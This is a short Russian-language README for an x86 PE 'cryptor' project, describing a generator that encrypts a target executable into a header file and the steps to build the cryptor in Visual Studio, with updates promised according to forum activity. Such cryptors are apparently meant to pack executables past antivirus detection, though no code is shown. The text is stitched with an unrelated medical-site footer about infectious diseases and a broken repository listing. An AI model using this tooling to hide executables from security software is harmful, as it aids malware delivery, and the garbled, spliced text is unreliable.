1)shell_gen - Генерирует массив зашифрованных байт, файл /modules/data_protect.h.

2)x86_pe_cryptor - Сам криптор.

Для работы необходимо сделать следующее:

1.Переименовать защищаемый файл в "data_protect.exe" и поместить его в shell_gen/Release/

2.Запустить файл shell_gen/Release/shell_gen.exe

3.Собрать проект x86_pe_cryptor в Visual Studio 2017 или более новой.

Всё, в /x86_pe_cryptor/Release/x86_pe_cryptor.exe будет сам криптор.)))

Проект будет обновляться, что планируется:

3)Что-то ещё, в зависимости от активности на форуме.)))

Читайте также:

Пожалуйста, не занимайтесь самолечением!
При симпотмах заболевания - обратитесь к врачу.

Copyright © Инфекционные заболевания

Type Name Latest commit message Commit time
Failed to load latest commit information.